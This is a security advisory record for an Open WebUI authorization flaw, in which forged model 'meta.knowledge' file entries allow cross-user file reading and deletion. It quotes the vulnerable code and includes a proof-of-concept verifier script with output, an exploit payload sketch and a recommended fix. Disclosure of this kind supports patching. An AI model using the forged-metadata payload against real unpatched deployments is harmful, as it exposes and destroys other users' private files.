{"id":"PYSEC-2026-2761","summary":"Open WebUI: Forged model meta.knowledge allows cross-user file read and deletion","details":"## Summary\n\nOpen WebUI lets a user who can create, update, or import workspace models store arbitrary `meta.knowledge` entries on their model without checking whether they own or can read the referenced files. Open WebUI then treats `meta.knowledge` entries of type `file` as an authorization source in two places: the built-in `view_file` tool reads the file's extracted text, and `has_access_to_file()`'s model branch authorizes the file content and file delete endpoints. A malicious model owner can therefore attach another user's file ID to their model metadata and read or delete that private file.\n\n## Impact\n\nSecurity boundary crossed: file confidentiality and integrity.\n\nAn authenticated attacker needs the `workspace.models` or `workspace.models_import` permission (or write access to an existing model) and a victim file ID. With those, for a file they do not own and cannot otherwise read, the attacker can:\n\n- read the file's extracted text (up to `100000` characters per `view_file` call from `file.data.content`),\n- read the file's content via `GET /api/v1/files/{id}/content`, and\n- delete the file via `DELETE /api/v1/files/{id}`.\n\n## Root Cause\n\n`ModelMeta` allows extra metadata fields and `ModelForm` accepts that metadata without a validator for `meta.knowledge` file access:\n\n```python\n# backend/open_webui/models/models.py\nclass ModelForm(BaseModel):\n    model_config = ConfigDict(extra='ignore')\n\n    id: str\n    base_model_id: Optional[str] = None\n    name: str\n    meta: ModelMeta\n    params: ModelParams\n```\n\nModel creation only checks the caller's model-workspace permission and then stores the form data:\n\n```python\n# backend/open_webui/routers/models.py\nif user.role != 'admin' and not await has_permission(\n    user.id, 'workspace.models', request.app.state.config.USER_PERMISSIONS, db=db\n):\n    raise HTTPException(...)\n\nmodel = await Models.insert_new_model(form_data, user.id, db=db)\n```\n\nThe insert sink persists the supplied `meta`:\n\n```python\n# backend/open_webui/models/models.py\nresult = Model(\n    **{\n        **form_data.model_dump(exclude={'access_grants'}),\n        'user_id': user_id,\n        ...\n    }\n)\n```\n\nWhen built-in tools are assembled, `meta.knowledge` is passed through as `__model_knowledge__`, and any `file` entry enables `view_file`:\n\n```python\n# backend/open_webui/utils/tools.py\nmodel_knowledge = model.get('info', {}).get('meta', {}).get('knowledge', [])\n...\nknowledge_types = {item.get('type') for item in model_knowledge}\nif 'file' in knowledge_types or 'collection' in knowledge_types:\n    builtin_functions.append(view_file)\n```\n\n`view_file` treats matching `__model_knowledge__` file IDs as authorization, before `has_access_to_file()`:\n\n```python\n# backend/open_webui/tools/builtin.py\nif (\n    file.user_id != user_id\n    and user_role != 'admin'\n    and not any(\n        item.get('type') == 'file' and item.get('id') == file_id for item in (__model_knowledge__ or [])\n    )\n    and not await has_access_to_file(...)\n):\n    return json.dumps({'error': 'File not found'})\n```\n\nThe same forged `meta.knowledge` is also trusted outside the tool path. `has_access_to_file()` iterates the caller's accessible models and returns true when a model's `meta.knowledge` contains the requested file ID:\n\n```python\n# backend/open_webui/utils/access_control/files.py\nfor model in await Models.get_models_by_user_id(user.id, permission=access_type, db=db):\n    knowledge_items = getattr(model.meta, 'knowledge', None) or []\n    for item in knowledge_items:\n        if isinstance(item, dict) and item.get('type') == 'file' and item.get('id') == file.id:\n            return True\n```\n\nThis branch is not restricted to read, so it also satisfies the `write` check that `DELETE /api/v1/files/{id}` performs. The same missing validation applies to the import path (`POST /api/v1/models/import`) and the update path, not only create.\n\n## PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVerifier for forged model meta.knowledge file entries reaching builtin tools.\n\nThe proof executes:\n  - the real Models.insert_new_model() sink with a forged meta.knowledge entry\n  - the real builtin view_file() authorization branch\n\nFake DB/model adapters are used only to avoid requiring a live Open WebUI\nserver. The security-sensitive code under test is Open WebUI application code.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport asyncio\nimport ast\nimport json\nimport os\nimport sys\nimport types\nfrom pathlib import Path\nfrom types import SimpleNamespace\n\nREPO = Path(__file__).resolve().parents[1]\nBUILTIN_TOOLS = REPO / \"backend/open_webui/tools/builtin.py\"\n\n\ndef prepare_imports() -\u003e None:\n    sys.path.insert(0, str(REPO / \"backend\"))\n    os.environ[\"VECTOR_DB\"] = \"none\"\n\n    class DummyTyper:\n        def command(self, *args, **kwargs):\n            return lambda fn: fn\n\n    sys.modules.setdefault(\n        \"typer\",\n        types.SimpleNamespace(\n            Typer=lambda *args, **kwargs: DummyTyper(),\n            Option=lambda *args, **kwargs: None,\n            echo=lambda *args, **kwargs: None,\n            Exit=Exception,\n        ),\n    )\n    sys.modules.setdefault(\"uvicorn\", types.SimpleNamespace(run=lambda *args, **kwargs: None))\n\n\nclass FakeDb:\n    def __init__(self):\n        self.added = []\n        self.committed = False\n        self.refreshed = False\n\n    def add(self, row):\n        self.added.append(row)\n\n    async def commit(self):\n        self.committed = True\n\n    async def refresh(self, row):\n        self.refreshed = True\n\n\nclass FakeDbContext:\n    def __init__(self, db):\n        self.db = db\n\n    async def __aenter__(self):\n        return self.db\n\n    async def __aexit__(self, exc_type, exc, tb):\n        return False\n\n\nasync def verify_model_insert_accepts_victim_file(victim_file_id: str):\n    import open_webui.models.models as models_module\n\n    fake_db = FakeDb()\n    original_context = models_module.get_async_db_context\n    original_set_grants = models_module.AccessGrants.set_access_grants\n    original_to_model = models_module.Models._to_model_model\n\n    async def fake_set_access_grants(*args, **kwargs):\n        return True\n\n    async def fake_to_model(self, model, access_grants=None, db=None):\n        return SimpleNamespace(\n            id=model.id,\n            user_id=model.user_id,\n            base_model_id=model.base_model_id,\n            name=model.name,\n            params=model.params,\n            meta=model.meta,\n            access_grants=[],\n            is_active=model.is_active,\n            created_at=model.created_at,\n            updated_at=model.updated_at,\n        )\n\n    try:\n        models_module.get_async_db_context = lambda db=None: FakeDbContext(fake_db)\n        models_module.AccessGrants.set_access_grants = fake_set_access_grants\n        models_module.Models._to_model_model = types.MethodType(fake_to_model, models_module.Models)\n\n        inserted = await models_module.Models.insert_new_model(\n            models_module.ModelForm(\n                id=\"attacker-model\",\n                base_model_id=\"gpt-vision-base\",\n                name=\"Attacker Model\",\n                params={},\n                meta={\n                    \"knowledge\": [\n                        {\n                            \"id\": victim_file_id,\n                            \"type\": \"file\",\n                            \"name\": \"victim-private.txt\",\n                        }\n                    ],\n                    \"builtinTools\": {\"knowledge\": True},\n                },\n            ),\n            user_id=\"attacker\",\n        )\n    finally:\n        models_module.get_async_db_context = original_context\n        models_module.AccessGrants.set_access_grants = original_set_grants\n        models_module.Models._to_model_model = original_to_model\n\n    stored_meta = [getattr(row, \"meta\", None) for row in fake_db.added]\n    stored_knowledge_ids = [\n        item.get(\"id\")\n        for meta in stored_meta\n        for item in ((meta or {}).get(\"knowledge\") or [])\n    ]\n\n    return {\n        \"insert_returned_model\": bool(inserted),\n        \"db_commit_called\": fake_db.committed,\n        \"stored_user_ids\": [getattr(row, \"user_id\", None) for row in fake_db.added],\n        \"stored_model_ids\": [getattr(row, \"id\", None) for row in fake_db.added],\n        \"stored_knowledge_file_ids\": stored_knowledge_ids,\n    }\n\n\nasync def verify_view_file_trusts_model_knowledge(victim_file_id: str):\n    class FakeFiles:\n        looked_up_ids = []\n\n        async def get_file_by_id(self, file_id, db=None):\n            self.looked_up_ids.append(file_id)\n            if file_id == victim_file_id:\n                return SimpleNamespace(\n                    id=victim_file_id,\n                    user_id=\"victim\",\n                    filename=\"victim-private.txt\",\n                    data={\"content\": \"PRIVATE_MODEL_KNOWLEDGE_SECRET\"},\n                    created_at=1,\n                    updated_at=2,\n                )\n            return None\n\n    async def fake_has_access_to_file(file_id, access_type, user, db=None):\n        return False\n\n    class FakeUserModel:\n        def __init__(self, **kwargs):\n            self.__dict__.update(kwargs)\n\n    fake_files = FakeFiles()\n    fake_files_module = types.SimpleNamespace(Files=fake_files)\n    fake_file_acl_module = types.SimpleNamespace(has_access_to_file=fake_has_access_to_file)\n\n    original_files_module = sys.modules.get(\"open_webui.models.files\")\n    original_acl_module = sys.modules.get(\"open_webui.utils.access_control.files\")\n\n    try:\n        sys.modules[\"open_webui.models.files\"] = fake_files_module\n        sys.modules[\"open_webui.utils.access_control.files\"] = fake_file_acl_module\n\n        source = BUILTIN_TOOLS.read_text(encoding=\"utf-8\")\n        tree = ast.parse(source, filename=str(BUILTIN_TOOLS))\n        selected = [\n            node\n            for node in tree.body\n            if isinstance(node, ast.AsyncFunctionDef) and node.name == \"view_file\"\n        ]\n        if len(selected) != 1:\n            raise RuntimeError(\"could not find view_file\")\n        module = ast.Module(body=selected, type_ignores=[])\n        ast.fix_missing_locations(module)\n        ns = {\n            \"json\": json,\n            \"Optional\": __import__(\"typing\").Optional,\n            \"Request\": object,\n            \"UserModel\": FakeUserModel,\n            \"log\": SimpleNamespace(exception=lambda *args, **kwargs: None),\n            \"MAX_VIEW_FILE_CHARS\": 100_000,\n            \"DEFAULT_VIEW_FILE_MAX_CHARS\": 10_000,\n        }\n        exec(compile(module, str(BUILTIN_TOOLS), \"exec\"), ns)\n        view_file = ns[\"view_file\"]\n\n        denied_without_model_knowledge = await view_file(\n            victim_file_id,\n            __request__=SimpleNamespace(),\n            __user__={\"id\": \"attacker\", \"role\": \"user\", \"name\": \"attacker\", \"email\": \"a@example.test\"},\n            __model_knowledge__=[],\n        )\n        allowed_with_model_knowledge = await view_file(\n            victim_file_id,\n            __request__=SimpleNamespace(),\n            __user__={\"id\": \"attacker\", \"role\": \"user\", \"name\": \"attacker\", \"email\": \"a@example.test\"},\n            __model_knowledge__=[{\"id\": victim_file_id, \"type\": \"file\"}],\n        )\n    finally:\n        if original_files_module is not None:\n            sys.modules[\"open_webui.models.files\"] = original_files_module\n        else:\n            sys.modules.pop(\"open_webui.models.files\", None)\n        if original_acl_module is not None:\n            sys.modules[\"open_webui.utils.access_control.files\"] = original_acl_module\n        else:\n            sys.modules.pop(\"open_webui.utils.access_control.files\", None)\n\n    denied = json.loads(denied_without_model_knowledge)\n    allowed = json.loads(allowed_with_model_knowledge)\n    return {\n        \"file_ids_looked_up\": fake_files.looked_up_ids,\n        \"without_model_knowledge\": denied,\n        \"with_forged_model_knowledge\": allowed,\n        \"private_content_disclosed\": allowed.get(\"content\") == \"PRIVATE_MODEL_KNOWLEDGE_SECRET\",\n    }\n\n\nasync def main() -\u003e None:\n    prepare_imports()\n    victim_file_id = \"victim-private-file\"\n\n    insert_sink = await verify_model_insert_accepts_victim_file(victim_file_id)\n    tool_read = await verify_view_file_trusts_model_knowledge(victim_file_id)\n\n    result = {\n        \"confirmed\": (\n            insert_sink[\"insert_returned_model\"] is True\n            and insert_sink[\"stored_user_ids\"] == [\"attacker\"]\n            and insert_sink[\"stored_knowledge_file_ids\"] == [victim_file_id]\n            and tool_read[\"without_model_knowledge\"].get(\"error\") == \"File not found\"\n            and tool_read[\"private_content_disclosed\"] is True\n        ),\n        \"attacker_user_id\": \"attacker\",\n        \"victim_user_id\": \"victim\",\n        \"victim_file_id\": victim_file_id,\n        \"attacker_owns_file\": False,\n        \"model_insert_sink\": insert_sink,\n        \"tool_read\": tool_read,\n        \"source\": {\n            \"insert_sink\": \"backend/open_webui/models/models.py:Models.insert_new_model\",\n            \"tool_injection\": \"backend/open_webui/utils/tools.py:get_builtin_tools passes model meta.knowledge as __model_knowledge__\",\n            \"read_sink\": \"backend/open_webui/tools/builtin.py:view_file\",\n        },\n    }\n    print(json.dumps(result, indent=2, sort_keys=True))\n    if not result[\"confirmed\"]:\n        raise SystemExit(1)\n\n\nif __name__ == \"__main__\":\n    asyncio.run(main())\n```\n\nThe PoC executes the real `Models.insert_new_model()` sink and the real `view_file()` authorization branch with fake database/file adapters. It first confirms that the attacker-owned model stores a forged victim file ID in `meta.knowledge`, then confirms `view_file()` denies the same victim file without model knowledge but discloses content when the forged model knowledge entry is present.\n\nResult:\n\n```json\n{\n  \"attacker_owns_file\": false,\n  \"attacker_user_id\": \"attacker\",\n  \"confirmed\": true,\n  \"model_insert_sink\": {\n    \"db_commit_called\": true,\n    \"insert_returned_model\": true,\n    \"stored_knowledge_file_ids\": [\n      \"victim-private-file\"\n    ],\n    \"stored_model_ids\": [\n      \"attacker-model\"\n    ],\n    \"stored_user_ids\": [\n      \"attacker\"\n    ]\n  },\n  \"tool_read\": {\n    \"private_content_disclosed\": true,\n    \"with_forged_model_knowledge\": {\n      \"content\": \"PRIVATE_MODEL_KNOWLEDGE_SECRET\",\n      \"filename\": \"victim-private.txt\",\n      \"id\": \"victim-private-file\"\n    },\n    \"without_model_knowledge\": {\n      \"error\": \"File not found\"\n    }\n  },\n  \"victim_file_id\": \"victim-private-file\",\n  \"victim_user_id\": \"victim\"\n}\n```\n\n## Exploit Sketch\n\n1. Attacker has permission to create or update workspace models.\n2. Attacker creates a model with:\n\n```json\n{\n  \"meta\": {\n    \"knowledge\": [\n      {\n        \"id\": \"VICTIM_FILE_ID\",\n        \"type\": \"file\",\n        \"name\": \"victim-private.txt\"\n      }\n    ],\n    \"builtinTools\": {\n      \"knowledge\": true\n    }\n  }\n}\n```\n\n3. Attacker chats with that model using native/built-in tools and invokes `view_file` for `VICTIM_FILE_ID`.\n4. The tool returns the victim file's extracted text content despite the attacker not owning or otherwise having access to the file.\n\n## Recommended Fix\n\nValidate `meta.knowledge` on every model write path: create, update, and import. For entries with `type == \"file\"`, require direct ownership, admin role, or `has_access_to_file(file_id, 'read', user, db=db)` before storing the entry. Validate the import payload before its surrounding try/except so a rejection surfaces as `403`, not `500`.\n\nDo not let `view_file()` treat `__model_knowledge__` as an authorization bypass; it should still enforce ownership/admin/`has_access_to_file()` per file ID. File deletion should require ownership, admin, or explicit write/delete access, not a read-derived model association.\n\n## Consolidation\n\nPer our Report Handling policy this consolidates independent reports of the same model `meta.knowledge` file-ID laundering flaw:\n\n- Read via forged `meta.knowledge` on model create, through the built-in `view_file` tool: @0xEr3n (earliest filing).\n- Distinct paths demonstrated by @5yu4n: the import endpoint (`POST /api/v1/models/import`), and cross-user read and deletion through the file API (`GET` / `DELETE /api/v1/files/{id}`) via `has_access_to_file()`'s model branch.\n\nFix validates `meta.knowledge` ownership on create, update, and import; blocking the forged entry closes both read and delete. One CVE for the consolidated advisory.","aliases":["CVE-2026-54012","GHSA-vjqm-6gcc-62cr"],"modified":"2026-07-13T16:32:25.004494539Z","published":"2026-07-13T15:46:19.366257Z","references":[{"type":"WEB","url":"https://github.com/open-webui/open-webui/security/advisories/GHSA-vjqm-6gcc-62cr"},{"type":"PACKAGE","url":"https://github.com/open-webui/open-webui"},{"type":"PACKAGE","url":"https://pypi.org/project/open-webui"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-vjqm-6gcc-62cr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54012"}],"affected":[{"package":{"name":"open-webui","ecosystem":"PyPI","purl":"pkg:pypi/open-webui"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.9.6"}]}],"versions":["0.1.124","0.1.125","0.2.0","0.2.1","0.2.2","0.2.3","0.2.4","0.2.5","0.3.0","0.3.1","0.3.10","0.3.12","0.3.13","0.3.14","0.3.15","0.3.16","0.3.17","0.3.17.dev2","0.3.17.dev3","0.3.17.dev4","0.3.17.dev5","0.3.18","0.3.19","0.3.2","0.3.20","0.3.21","0.3.22","0.3.23","0.3.24","0.3.25","0.3.26","0.3.27","0.3.27.dev1","0.3.27.dev2","0.3.27.dev3","0.3.28","0.3.29","0.3.3","0.3.30","0.3.30.dev1","0.3.30.dev2","0.3.31","0.3.31.dev1","0.3.32","0.3.33","0.3.33.dev1","0.3.34","0.3.35","0.3.4","0.3.5","0.3.6","0.3.7","0.3.8","0.3.9","0.4.0","0.4.0.dev1","0.4.0.dev2","0.4.1","0.4.2","0.4.3","0.4.4","0.4.5","0.4.6","0.4.6.dev1","0.4.7","0.4.8","0.5.0","0.5.0.dev1","0.5.0.dev2","0.5.1","0.5.10","0.5.11","0.5.12","0.5.13","0.5.14","0.5.15","0.5.16","0.5.17","0.5.18","0.5.19","0.5.2","0.5.20","0.5.3","0.5.3.dev1","0.5.4","0.5.5","0.5.6","0.5.7","0.5.8","0.5.9","0.6.0","0.6.1","0.6.10","0.6.11","0.6.12","0.6.13","0.6.14","0.6.15","0.6.16","0.6.18","0.6.19","0.6.2","0.6.20","0.6.21","0.6.22","0.6.23","0.6.24","0.6.25","0.6.26","0.6.26.dev1","0.6.27","0.6.28","0.6.29","0.6.3","0.6.30","0.6.31","0.6.32","0.6.33","0.6.34","0.6.35","0.6.36","0.6.37","0.6.38","0.6.39","0.6.4","0.6.40","0.6.41","0.6.42","0.6.43","0.6.5","0.6.6","0.6.6.dev1","0.6.7","0.6.8","0.6.9","0.7.0","0.7.1","0.7.2","0.8.0","0.8.1","0.8.10","0.8.11","0.8.12","0.8.2","0.8.3","0.8.4","0.8.5","0.8.6","0.8.7","0.8.8","0.8.9","0.9.0","0.9.1","0.9.2","0.9.3","0.9.4","0.9.5"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/open-webui/PYSEC-2026-2761.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L"}]}